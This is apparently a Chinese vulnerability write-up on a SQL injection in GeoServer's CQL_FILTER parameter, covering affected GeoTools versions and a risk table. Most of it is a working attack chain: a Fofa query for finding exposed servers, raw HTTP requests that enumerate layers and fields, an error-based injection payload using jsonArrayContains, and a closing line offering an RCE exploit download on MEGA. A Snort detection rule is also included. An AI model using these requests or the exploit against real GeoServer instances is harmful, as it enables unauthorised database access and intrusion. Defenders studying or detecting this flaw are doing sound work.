影响版本

产品

存在漏洞的版本

GeoServer 3.3.X（GeoTools 35.X）

GeoTools < 35.1

GeoServer 2.28.X（GeoTools 34.X）

GeoTools < 34.5

GeoServer 2.27.X（GeoTools 33.X）

GeoTools < 33.6

漏洞状态

漏洞细节

漏洞POC

漏洞EXP

在野利用

是

已公开

已公开

已知

风险等级

维度

评价

威胁等级

高危

影响面

广

攻击者价值

高

利用难度

低

漏洞复现

Fofa： title=“geoserver” ||app=“geoserver”

有色人种/经验：

step1 WFS 获取能力接口，获取全部 Feature 图层名称列表

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
image-20260826220446-lemct5a.png

step2 提取csv数据表字段名

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=Emodnetbio:mediseh_posidonia_historical_pnt&maxFeatures=1&outputFormat=csv HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
image-20260826220554-fk0a51l.png

step3 poc 报错注入

GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=Emodnetbio:mediseh_posidonia_historical_pnt&CQL_FILTER=jsonArrayContains%28%22id%22%2C%27%2Fa%27%2C%27x%27%27%27%29+%3D+true HTTP/1.1
Host: 127.0.0.1
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
image-20260826220930-zn69xgr.png

sonrt规则：

alert tcp any any -> $HOME_NET any (
    msg:"GeoServer - jsonArrayContains SQL注入漏洞 (CQL_FILTER参数)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri; content:"/geoserver/ows"; fast_pattern;
    http.uri; content:"CQL_FILTER="; nocase;
    http.uri; pcre:"/CQL_FILTER\s*=\s*[^&]*jsonArrayContains\s*\([^)]*'[^']*'[^)]*\)/i";
    metadata:
        service http,
        affected_product "GeoServer",
        vulnerability_type "SQL Injection (CQL_FILTER)",
        severity "critical";
    classtype:web-application-attack;
    sid:1000733;
    rev:1;
    priority:1;
)

rce下载 1.7 KB file on MEGA